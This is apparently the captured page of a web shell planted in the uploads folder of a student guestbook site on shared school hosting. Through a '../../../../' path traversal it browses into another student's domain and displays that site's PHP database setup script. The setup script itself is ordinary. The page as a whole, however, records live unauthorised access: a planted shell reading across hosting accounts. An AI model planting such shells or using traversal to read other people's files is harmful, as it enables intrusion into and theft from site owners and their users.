🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../587164.klas4s23.mid-ica.nl/public_html/ELearner/setup_list_likes.php

<?php
include "db.php";

echo "<h1>Setting Up List Likes System</h1>";

try {
    // Create list_likes table without using a transaction
    $conn->exec("
        CREATE TABLE IF NOT EXISTS list_likes (
            id INT AUTO_INCREMENT PRIMARY KEY,
            list_id INT NOT NULL,
            user_id INT NOT NULL,
            is_like TINYINT(1) NOT NULL, -- 1 for like, 0 for dislike
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            UNIQUE KEY user_list_unique (user_id, list_id),
            FOREIGN KEY (list_id) REFERENCES word_lists(id) ON DELETE CASCADE,
            FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
        )
    ");
    echo "✅ Created list_likes table successfully<br>";
    
    // Check if like_count column exists in word_lists table
    $result = $conn->query("SHOW COLUMNS FROM word_lists LIKE 'like_count'");
    if ($result->rowCount() == 0) {
        // Add like_count column
        $conn->exec("ALTER TABLE word_lists ADD COLUMN like_count INT NOT NULL DEFAULT 0");
        echo "✅ Added like_count column to word_lists table<br>";
    } else {
        echo "✅ like_count column already exists in word_lists table<br>";
    }
    
    $result = $conn->query("SHOW COLUMNS FROM word_lists LIKE 'dislike_count'");
    if ($result->rowCount() == 0) {
        // Add dislike_count column
        $conn->exec("ALTER TABLE word_lists ADD COLUMN dislike_count INT NOT NULL DEFAULT 0");
        echo "✅ Added dislike_count column to word_lists table<br>";
    } else {
        echo "✅ dislike_count column already exists in word_lists table<br>";
    }
    
    echo "<p>List likes system setup complete!</p>";
    echo "<p>You can now go back to <a href='list_hub.php'>List Hub</a> and use the like/dislike feature.</p>";
    
} catch (PDOException $e) {
    echo "❌ Error setting up list likes system: " . $e->getMessage() . "<br>";
    echo "<p>Please fix the issue and try again.</p>";
}
?>

🎯 Available Actions